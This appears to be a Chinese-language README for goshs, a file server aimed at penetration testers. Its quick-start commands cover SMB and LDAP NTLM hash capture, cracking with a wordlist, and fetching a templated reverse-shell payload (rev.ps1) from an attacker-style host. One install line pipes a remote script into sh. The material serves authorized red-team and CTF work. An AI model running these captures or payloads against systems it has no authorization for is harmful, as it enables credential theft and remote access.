
新发布Aug 25, 2026
goshs v2.1.6
功能丰富的单二进制文件服务器,适用于红队人员和开发者。HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM哈希捕获 · DNS/SMTP回调 · TLS · 认证 · 分享链接。一个强大的python3 -m http.server替代品。
你正处于渗透测试过程中。你需要传输文件、捕获 SMB 哈希,或者快速搭建一个 HTTPS 服务器——而 python3 -m http.server 根本不够用。
goshs 是一个单二进制文件服务器,专为那些你需要比 Python 的 SimpleHTTPServer 更强大、但又不想配置 Apache 的场景而打造。HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S、基本认证、分享链接、DNS/SMTP 回调、NTLM 哈希捕获 + 破解——全部通过一条命令完成。


演示
亲自体验:demo.goshs.de

快速开始
# Serve the current directory on port 8000
goshs
# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password
# Capture SMB hashes
goshs -smb -smb-domain CORP
# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# Self-destruct after 2 hours
goshs --ttl 2h
# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui
# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
文档
如需详细文档,请访问 docs.goshs.de
功能特性
| 📁 文件操作 | 下载(通过 HTTP Range 支持断点续传与定位)、上传(拖放、POST/PUT)、删除、批量 ZIP、二维码 |
| 🔌 协议 | HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S |
| 🔒 认证与安全 | 基本认证、证书认证、TLS(自签名、Let's Encrypt、自定义证书)、IP 白名单、基于文件的 ACL |
| ⚙️ 服务器模式 | 只读、仅上传、禁止删除、静默、隐身、CLI 命令执行、TTL 自毁 |
| 🔗 分享链接 | 基于令牌的分享、下载次数限制、时间限制 |
| 🎯 协作 / CTF | 实时团队聊天(Markdown、表情符号 + :shortcodes: 自动补全、粘贴图片、文件上传、消息回应、消息编辑、可选的磁盘持久化——Web ↔ TUI 共享)、DNS 服务器、SMTP 服务器、SMB NTLM 哈希捕获 + 破解、LDAP 凭据捕获 + NTLM 哈希破解(针对 Log4Shell 的 JNDI 模式)、重定向端点、反弹 Shell 捕获器 + Payload 生成器 |
| 🧩 Payload 模板化 | 按需将 {{.LHOST}}/{{.LPORT}} + 自定义 --tpl-var 值渲染到所服务的文件中(?tpl) |
| 🔔 集成 | Webhook、通过 localhost.run 建立隧道、配置文件、JSON API、mDNS |
| 🖥️ TUI 仪表盘 | 交互式全屏终端仪表盘;HTTP、DNS、SMB、LDAP、SMTP、反弹 Shell 和团队聊天的实时面板;从终端附加并升级 Shell |
| 🛠️ 其他 | 深色/浅色主题、团队聊天、自更新、日志输出、嵌入文件、降低权限 |
安装
| 方式 | |
|---|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali 与 Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 发布版 | 从 GitHub Releases 下载 |
🐚 Shell 补全
goshs 可为 bash、fish 和 zsh 安装 Tab 补全:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
在 macOS 上使用 Homebrew 时,会自动使用正确的 Homebrew 路径。 安装完成后,该命令会打印一条确切的激活指令,例如:
source ~/.local/share/bash-completion/completions/goshs
🔧 自行构建
捆绑的 Web 资源已提交,因此直接构建即可正常工作:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
如果你修改了 JavaScript 或 SCSS 源文件,请先使用已安装的 esbuild 和 sass 重新构建资源:
make generate
go build -o goshs .
代码贡献者
安全贡献者
这些是让 goshs 变得更加安全的出色贡献者 ❤️